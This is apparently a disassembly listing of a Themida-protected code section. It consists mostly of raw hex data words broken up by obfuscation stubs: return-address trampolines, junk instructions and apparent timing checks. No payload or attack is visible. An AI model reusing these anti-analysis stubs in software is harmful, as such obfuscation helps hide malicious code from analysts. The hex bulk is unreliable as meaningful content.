1ABB0000h, 600DE466h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 84C35343h dd 0BD332C11h, 6280849h, 0B7D98C66h, 12E9E9h, 0CA610000h dd 91A7C5FBh, 499CF11Fh, 0E1098422h, 0E69C58C8h, 6A04E180h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0C8E1C350h, 0D5E69C58h, 0C90A3F3Ah, 133840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 60090BC3h, 3F68166h, 79858BECh, 61062804h dd 24C9858Bh, 0F3800628h, 5830FBCh, 0BB000000h, 4DEC152Dh dd 2D058533h, 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 8F4756C3h, 842C013Ah, 0DF81B063h dd 6B4BA581h, 50F98B90h, 6A90E1B7h, 9D9D8900h, 0E806281Fh dd 4, 1F03FFh, 1A820Fh, 11E80000h, 11000000h, 8091DE4h dd 97842006h, 0D0E0583Ch, 0A8F2B5F2h, 5FD88B66h, 60566050h dd 8B665F61h, 448B61F7h, 0B7530424h, 8B5FC0h, 11E860h dd 0A2B00000h, 6505C374h, 0BD4EBBACh, 0DDB934B9h, 53E19036h dd 0F08B5B5Ah, 24448961h, 5840B704h, 11E9h, 6057E700h dd 28602956h, 26A84B93h, 0D7C1ED5Ch, 95FF1A18h, 628176Dh dd 28A0Fh, 0DC8A0000h, 0A3FD8589h, 3160062Bh, 28042595h dd 61E88A06h, 17BE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0F5858B34h, 6A062BA3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 6A51C355h, 0C9DD8AA0h, 2ED1BD01h, 0C70628h dd 18h, 8BDE8B66h, 2BA3F9B5h, 0A0E38106h, 8B0925B6h, 282B6585h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0FB34338Dh, 373BB1Fh, 0BD2320ECh, 6281335h dd 88D6EF81h, 6894CB5h, 24C9858Bh, 6A0628h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 1E57B5C3h dd 89E56F4Ch, 95890446h, 6282CF9h, 24348950h, 6820Fh, 9D8B0000h dd 62802FDh, 0A3F5B5FFh, 880F062Bh, 19h, 14E9h, 6CCBF800h dd 7DC36CFEh, 95CE223h, 4A35BC09h, 0A7499BB9h, 0EE1D6825h dd 8B604CA0h, 13E9D1h, 4D980000h, 0B6A15628h, 83D55993h dd 6FD9AB5Fh, 4ADB3C08h, 3481616Fh, 0BFEDE224h, 55006A4Ch dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0FD858D08h, 80062BA3h, 0E990FCC3h, 0Bh, 937BD6F5h, 0CE03758Ch dd 50B90E24h, 58C0F57h, 0BB000000h, 6253018Dh, 8F0F905Bh dd 6, 2DC59D89h, 95FF0628h, 628176Dh, 56006A61h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0E1AD2443h, 0FAA8684h, 68Bh, 659D0900h, 0C7062811h dd 28113D85h, 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 13E83FBAh, 0ED000000h dd 38B77CEBh, 7BB8D006h, 95AAEC2Dh, 0C0DEF6Dh, 835FF29Dh dd 2BA3FDBDh, 840F0006h, 39h, 0C59BD8Bh, 0BD8B0628h, 6280105h dd 43E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0E9FE8B18h, 5, 0CE65EF75h, 0C3050F6h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 18820Fh dd 81600000h, 0F48F26D9h, 0BE932h, 382A0000h, 9597E303h dd 884E0CC8h, 85896164h, 6281639h, 5840Fh, 56BF0000h, 83086760h dd 28113DBDh, 850F0306h, 4ACh, 2075BD8Bh, 0BD830628h, 62BA3FDh dd 99840F00h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 5330C353h, 1712647Ah dd 816661FDh, 0FFD72BF3h, 2BA3FDB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 6C799DAh, 0EE00BF60h dd 0B7610BA7h, 9595FF3Fh, 6A06280Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 80B4C353h dd 6BF0AAF9h, 0FCDCBD43h, 95016056h, 62801C9h, 32759529h dd 5F610628h, 14E8h, 32D92400h, 17C12D8Eh, 6D4AA1A2h, 0FDE2CA1Eh dd 0CEB1289Eh, 619D31CAh, 5F062811h, 0A3F1B58Bh, 6A062Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0C76C1EC3h, 1000106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 20980B8Ah, 0BF2A4426h dd 22F87280h, 8D0F5750h, 3, 5FDF8B66h, 8B243489h, 82E381D8h dd 0FF5A0C36h, 2BA3FDB5h, 49B58906h, 0FF06280Fh, 28201995h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 68258845h, 8B58BED9h, 2BA3F1B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E9E8BF80h, 5, 38F041AFh, 8BFA8BA9h, 2817D585h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 6DFECFBCh, 0B116C14Ah, 0BD014EECh, 6281999h, 2F76CB81h dd 86896EA0h, 0C4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0EFC35343h, 3C5BB5F5h, 566E7EBCh, 999D335Fh dd 0F062832h, 886h, 9D0B5100h, 6283499h, 15958B5Bh, 6A062807h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 9E87C352h, 83E28D32h, 6A04C2h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 4FDA13C3h dd 0CFC41F7Eh, 0FCBB66F6h, 205089B0h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0DFC35343h, 0FB1E9FFh, 858DDFB7h dd 62BB8D9h, 0ED19589h, 8D890628h, 628129Dh, 0B88689h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 6A76E1C3h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0A1CBDBABh, 738C7191h dd 0BD8BF182h, 6282075h, 759D2360h, 8906282Ah, 2817B585h dd 0B5FF6106h, 62BA3FDh, 8E6DF781h, 0BD312F7Bh, 6280D2Dh dd 2CD195FFh, 0D3800628h, 49B50945h, 5006280Ch, 89FE8B66h dd 6E82434h, 42000000h, 39863550h, 0EE9BEh, 0B19C0000h dd 2CA4533Ah, 106F1199h, 6EB63291h, 0FDB5FF5Bh, 6A062BA3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 2B12C352h, 0F9BD293Ch, 0FF062818h, 2829B995h dd 0E19D0106h, 8306282Bh, 280C55BDh, 840F0006h, 2Bh, 11E9h dd 0F5B17100h dd 64AD3967h, 571484FFh, 0FD0D3A7h, 6696AAFCh, 50F3D5BFh dd 310F5250h, 585ADA8Bh, 3D9D8996h, 0FF062800h, 2BA3FDB5h dd 13E806h, 0B3270000h, 0BDB48CA4h, 5B04AE17h, 0E2A9D94Dh dd 23DE819Ah, 665BF9B5h, 95FFFA8Bh, 6282285h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C1C35141h, 0DA160879h dd 8B90CAF4h, 2818E59Dh, 21BB6606h, 9D9D8BEFh, 0FF062822h dd 2BA3FDB5h, 759D3106h, 0FF062823h, 2810C195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 1D987E5Eh, 1B998695h, 0BD83F53Bh, 6281861h, 35840F02h dd 29000000h, 2807D1B5h, 59858B06h, 6A062812h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 7AB2C357h, 0C6F967ADh, 95090000h, 62832E9h, 130585C7h dd 628h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 39AB7FC3h, 0F73102A9h, 6840Fh, 0BD330000h dd 6281945h, 0FFF378E9h, 0EE9FFh, 63A20000h, 0EF649DB6h dd 34AB4C9Ah, 9E1FF8F3h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0BFBACFC3h, 89021162h dd 9219D8Bh, 858D0628h, 6282C05h, 0B790F98Bh, 6090502Fh dd 14559D89h, 9D8B0628h, 6280921h, 0F006A61h, 6AFFBFh dd 1F6D9D89h, 858D0628h, 62C4691h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 82C35545h, 837F25A9h, 890F05C0h dd 12h, 0DE9h, 1D173200h, 9DE4914Ah, 222DA9DAh, 66502780h dd 489DE8Bh, 0CCBB5324h, 5F273E9Ah, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 83E48FC3h dd 2968CADCh, 280F09B5h, 0F006A06h, 283h, 0FF9FB700h, 28243195h dd 0F38D8D06h, 66062B94h, 6CBCD781h, 6AD1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7854EEC3h dd 0C87B7594h, 8050FC60h, 615968E9h, 1D75BD8Bh, 0BD830628h dd 6282415h, 73850F01h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 8D9C356h dd 8DDE43F6h, 6800FB6h, 31000000h, 282A8D85h, 0ADBD8B06h dd 6A06280Ch, 89BD8B02h, 50062814h, 8BD08B60h, 48961FEh dd 4850F24h, 60000000h, 0FF615951h, 282CD195h, 17860F06h dd 60000000h, 0CE8h, 78454400h, 57F7023Fh, 0D9402530h dd 8B665F26h, 57E961CBh, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 62C469Bh push 0 push edi call sub_58D9F2 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D9F2 proc near ; CODE XREF: Themida_:0058D9EAp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_58D9F2 endp ; --------------------------------------------------------------------------- dw 669Ah ; --------------------------------------------------------------------------- mov edi, eax lea eax, [ebp+62B85B0h] mov ebx, [ebp+6282F25h] push eax mov bl, 0DEh mov [esp], eax push 0 push ebx call sub_58DA23 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DA23 proc near ; CODE XREF: Themida_:0058DA1Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_58DA23 endp ; --------------------------------------------------------------------------- db 9Dh dd 2F8C8D0Ch, 0B58978CCh, 6282151h, 35FF64h, 1000000h dd 280CE58Dh, 25896406h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_58DA5F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DA5F proc near ; CODE XREF: Themida_:0058DA57p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_58DA5F endp ; --------------------------------------------------------------------------- lahf cmp dh, bl xchg eax, esp sub [ebp+6282D79h], ecx inc dword ptr [ebp+6281659h] mov edi, esi push 0FFFFFFFFh push 0 push edx call sub_58DA8E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DA8E proc near ; CODE XREF: Themida_:0058DA86p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58DA8E endp ; --------------------------------------------------------------------------- dw 71EAh dd 0DA9997B7h, 69D55FEDh, 2E79B5FFh, 95FF0628h, 6282DC1h dd 100E9h, 0B0B5B300h, 0DF8B6600h, 0FB8B70E6h, 0AE971E4h dd 0E7000000h, 61A8BC46h, 0A481E06Fh, 0F613C2Ah, 0DC83h dd 7E900h, 495C0000h, 172CFAE2h, 81666067h, 61591AE3h dd 0FC8B60Fh, 58Ch, 0D7816600h, 6BA73DFh, 66000000h, 0C18BDF8Bh dd 0E862BB66h, 6860Fh, 0BD890000h, 62811B5h, 0F804E8C1h dd 31E2F766h, 281F61BDh, 89C82B06h, 280FF5BDh, 60D18B06h dd 226D9D89h, 9D890628h, 6281805h, 0AE961h, 0B0600000h dd 5995896Bh, 61062801h, 169858Bh, 8D310628h, 628187Dh dd 0F07C083h, 683h, 899D2B00h, 8306280Eh, 8D0100C0h, 6282159h dd 830FD03Bh, 11h, 3B1EF381h, 36E91CA3h, 89000000h, 2812859Dh dd 318D8B06h, 0BB062833h, 3D353662h, 0F01E183h, 1C84h dd 0CCBF6600h, 31A583DCh, 0FE062833h, 1699589h, 0D7810628h dd 934813Bh, 0E9h, 0D1B58D00h, 6A062BC4h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8950B4C1h, 282D11BDh, 6595FF06h, 0B9062804h, 0F48h dd 0E183DE8Ah, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 31E7E8CAh, 281A51BDh dd 6AFC06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 350D0EC3h, 5F567311h, 43DBD89h, 0B80628h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 9198C352h, 21EE450Ah, 1262ACCh dd 2826818Dh, 89D22B06h, 2824559Dh, 0C233AD06h, 0D003E8D1h dd 7504E983h, 9D9D8BF4h, 6A062802h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 93A2C356h dd 15ECE685h, 0DFC4E8Eh, 88h, 0BCDC8060h, 830F60h, 89000000h dd 280E4DBDh, 8B616106h, 28071595h, 799D0906h, 8B062801h dd 2821BD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 2FDED5A2h, 0C21F4CAEh, 0BD89BDCCh dd 6280939h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0FC6A65C3h, 0F43D077h, 587h, 0EB816600h dd 0FE85D4Dh, 8B000000h, 0F6C4A889h, 0E8465B27h, 0C5FEF7B3h dd 0CF81678Ch, 29FBB3C1h, 38A0F5Fh, 0F000000h, 0BD83D8BFh dd 62825A1h, 82840F00h, 66000000h, 0B87373BFh, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_58DD87 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DD87 proc near ; CODE XREF: Themida_:0058DD7Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_58DD87 endp ; --------------------------------------------------------------------------- mov ds:784F0492h, al leave pop es cld mov ebx, 4A10C19Dh lea ecx, [ebp+6284F6Eh] push 0 push edx call sub_58DDB5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DDB5 proc near ; CODE XREF: Themida_:0058DDADp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_58DDB5 endp ; --------------------------------------------------------------------------- db 0FEh, 0FFh, 0E1h ; --------------------------------------------------------------------------- push 0 push ebx call sub_58DDD3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DDD3 proc near ; CODE XREF: Themida_:0058DDCBp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_58DDD3 endp ; --------------------------------------------------------------------------- db 7 dd 446DA8B8h, 6E9676Bh, 0F3000000h, 8DAA9417h, 3DBD834Ah dd 62811h, 4D3840Fh, 85890000h, 6280329h, 113DBD83h, 0F010628h dd 4DB84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0EAE15B28h, 0E8213A2Fh, 11h, 132C7669h dd 59725559h, 6E5F6056h, 0CD0F0765h, 0DAB70FF6h, 599D8B5Bh dd 83062833h, 28113DBDh, 860F0306h, 456h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 0DAC35242h, 0F7D619DDh dd 0D9BD8BCBh, 0E9062834h, 12h, 0CCC16018h, 0B2BA78CAh dd 0C2A5C05Fh, 55B5E78Ah, 6A60B246h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0DA15C355h dd 3174E8B1h, 8BBF4431h, 280D79BDh, 0D98C6606h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0AEC35040h, 80AE3508h dd 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0CC6D60C3h, 0A0B94136h, 0C90A91C3h, 15F840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0C3B651C3h, 0DD21C14Fh, 0C9858B2Eh, 6A062824h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 2378C353h, 853363EFh, 6282D05h, 57904EB3h dd 10E9505Bh, 0D5000000h, 0A55154CDh, 4637899h, 6C97B4FEh dd 90D9462Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0B5C35242h, 52F46208h, 816663AFh, 607B46CBh, 23798589h dd 0B58B0628h, 62820B1h, 8B006A61h, 282C25BDh, 865D6806h dd 481BE5Dh, 0C17DA224h, 57006A41h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0F6442289h, 3880Fh, 8B660000h dd 6D95FFD9h, 6A062817h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0EA76C350h, 29768C7Eh dd 1465BD8Bh, 85890628h, 62BA3FDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0DAC35343h, 0A1EEC590h, 0BA49A49Eh dd 16F19D8Bh, 0E7E90628h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 339EC355h dd 281F9D9Dh, 0F5858B06h, 6A062BA3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 798AC351h dd 1800C743h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 96B9C353h, 118AFCEFh dd 6D5379FAh, 0B58BF9FCh, 62BA3F9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 85C35040h, 0C9B58B60h, 6106282Dh dd 8BD98B66h, 282B6585h, 2DBD8906h, 89062826h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 7D6D439Bh, 0C2EE143Dh, 0A1BD8Bh, 9D890628h, 6280235h dd 24C9858Bh, 8B660628h, 44689DFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 4C35747h, 8D060F7Ah, 8B87EB6Eh dd 282BB9BDh, 0DA8B9606h, 66525050h, 0F61FDBFh, 28F0F31h dd 52000000h, 96585A5Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 9CC35141h, 0A29EF7D3h, 81822F22h, 591E96F7h dd 0F5B5FF20h, 6A062BA3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0E87FC356h, 66982142h dd 7905FFEBh, 4E8h, 1F03FF00h, 0ABBB6600h, 800F5021h, 3 dd 8BDA8B66h, 8B042444h, 24448900h, 0DE804h, 0CAE40000h dd 54E352E0h, 1699AB9Fh, 5BC15FB9h, 0E7816658h, 858DFCFAh dd 62BA3FDh, 0B2EF8166h, 0FA8B9032h, 0FB8B6650h, 0F565790h dd 80h, 0FF5F5F00h, 28176D95h, 0BD8B6006h, 62833A1h, 78FAE7BEh dd 6A616125h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0A465C356h, 7C76390Eh, 26C19589h dd 85C70628h, 628113Dh, 3, 19099D89h, 0BD830628h, 62BA3FDh dd 33840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 2DBC356h, 0E781667Bh dd 26E9FD37h, 50000000h, 1D953360h, 0F8062800h, 30505F61h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0EB802213h, 0CD8D8951h, 80062823h, 0BD83D8DBh dd 628113Dh, 9C850F03h, 66000003h, 83BDADBBh, 2BA3FDBDh dd 840F0006h, 38Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 91C35242h, 0D6AA2F1Ah, 0BF66B682h, 0B5FF3537h dd 62BA3FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 21C35141h, 9D8529EBh, 0FF062811h, 280E9595h, 81665106h dd 5BDC35EFh, 0A3F1B58Bh, 0BD33062Bh, 6282495h, 106C7h dd 60500001h, 6890Fh, 52500000h, 585A310Fh, 24348961h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F9C35545h dd 0D46E0CE8h, 974BF0CAh, 2FB9B529h, 9D030628h, 62804B1h dd 0A3FDB5FFh, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0B7FE59C3h, 8D89AFFAh, 62807ADh dd 201995FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 353130C3h, 8B9168ADh, 2BA3F1B5h dd 39958906h, 8B062809h, 2817D585h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 8103B691h dd 81FFA065h, 0D98861EFh, 0C4868900h, 8B000000h, 2816559Dh dd 8E906h, 11F50000h, 73716EB3h, 958B4A51h, 6280715h, 9153BF66h dd 6A04C283h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 8932C355h, 6A2050h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0D40877C3h dd 858DFA8Bh, 62BB8D9h, 89F9BF0Fh, 0B886h, 29B52900h, 6A062807h dd 0FFD98B00h, 2BA3FDB5h, 0E7816606h, 95FFD8F7h, 6282CD1h dd 96FA8B66h, 177C4EBBh, 0B4605075h, 61C38BD1h, 319D8996h dd 0E9062803h, 6, 0B7102540h, 0B5FF14ECh, 62BA3FDh, 6F93BF66h dd 2B45B589h, 95FF0628h, 62829B9h, 0A051E381h, 0BD836234h dd 6280C55h, 70840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0DD24C353h dd 38137D73h, 1C566DF2h, 0EE8h, 3AE10B00h, 363EFCE3h, 91C685B3h dd 8B59AA28h, 2814899Dh, 9D8B5B06h, 6282DFDh, 0A3C0CF81h dd 66963EE8h, 50358BBBh, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0FFE92C54h, 2BA3FDB5h dd 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 8595FF5Fh, 6A062822h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 4DEAC357h, 87116172h dd 6FCBE9E9h, 6E9h, 4EE29500h, 0FF81CC86h, 2BA3FDB5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0AF216343h, 9193CE38h, 95FF7173h, 62810C1h, 2ED58D31h dd 0BD830628h, 6281861h, 58840F02h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 8BB0C353h, 28125985h, 2830F06h, 52000000h, 0C65Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C0C35343h, 9E6DCA2Bh dd 7C13D98h, 0A98D89EBh, 0C7062800h, 28130585h, 6, 0AD950100h dd 0E9062825h, 0FFFFF39Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0F0C35343h, 0EF96B96Fh, 1001BD8Bh, 0C18B0628h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E3C35040h dd 0A1F4C767h, 66A1ADE4h, 858DFE8Bh, 6282C05h, 17F99D8Bh dd 0E9500628h, 7, 0E89B9283h, 89B643CEh, 8B602404h, 282B6D95h dd 81665706h, 5AE7E2D1h, 6A006A61h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 43B3C352h dd 0EE985h, 105B0000h, 9E99E32Dh, 9618636Ch, 0D92F9F38h dd 6AD88Ah, 0B58B5660h, 6282081h, 0D8BF665Eh, 858D61BCh dd 62C5642h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 5DC35545h, 8B05C083h, 2803A9BDh, 0E9539006h, 12h dd 0CA3EA813h, 0D6BC5402h, 6BFB707Ch, 0FFE1362Ch, 505B0A7Bh dd 1432BB66h, 68F0F90h, 8B000000h, 281E49BDh, 6A006A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0B07BC350h, 18F0Fh, 6AF80000h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 4E152CA0h, 0F74B3F7h, 0C8Ch, 6890F00h, 29000000h, 2816958Dh dd 3195FF06h, 6A062824h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0E040C355h, 8DD165A8h dd 2B94F38Dh, 0DE906h, 0FE1F0000h, 8BE4D73Dh, 0E447A33h dd 0FF941399h, 55006AD1h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 41BFEF6Fh, 0F05A3E0h dd 285h, 83CCB300h, 282415BDh, 850F0106h, 0BBh, 11258589h dd 26A0628h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 93C35141h, 898EB0D8h, 2802F1BDh, 9E806h, 30D0000h dd 372D5C66h, 0F665812h, 905BF9BFh, 14E9h, 9550E200h, 0E8A2DC5Bh dd 0D71B358Fh, 53499F02h, 62C745FDh, 52505089h, 0C8A0Fh dd 6E80000h, 6F000000h, 3319A0h, 310F5BFFh, 0F525060h dd 0E8585A31h, 5, 0FAAB2A2Bh, 5A615B7Bh, 9D239058h, 6282D4Dh dd 2CD195FFh, 6A0628h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 6A4F86C3h, 33A2E91Eh, 45BD8BE3h dd 0E9062823h, 0D6Fh, 0E8h, 0ED815D00h, 62C564Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 79C35040h, 50A3BD68h dd 0D761808Ch, 59BD8938h, 89062825h, 2824BD9Dh, 6E806h dd 63BF0000h, 0E5A46A3Dh, 5B58B60h, 61062832h, 0B0858D5Fh dd 89062B85h, 2817CDB5h, 0BB665006h, 489449Eh, 0DA8B6624h dd 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 60A1C353h, 21A98D29h dd 64610628h, 2589h, 880F0000h, 0 ; --------------------------------------------------------------------------- mov bh, 0F5h inc dword ptr [ebp+6281659h] push 0 push ebp call sub_58EA3F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EA3F proc near ; CODE XREF: Themida_:0058EA37p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_58EA3F endp ; --------------------------------------------------------------------------- pop eax add [edx-77h], ch test eax, 0EAAC3E32h push eax sbb bx, 9F87h pop edi loc_58EA5F: ; CODE XREF: Themida_:loc_58F6E9j push 0FFFFFFFFh push 0 push ecx call sub_58EA6C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EA6C proc near ; CODE XREF: Themida_:0058EA64p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx 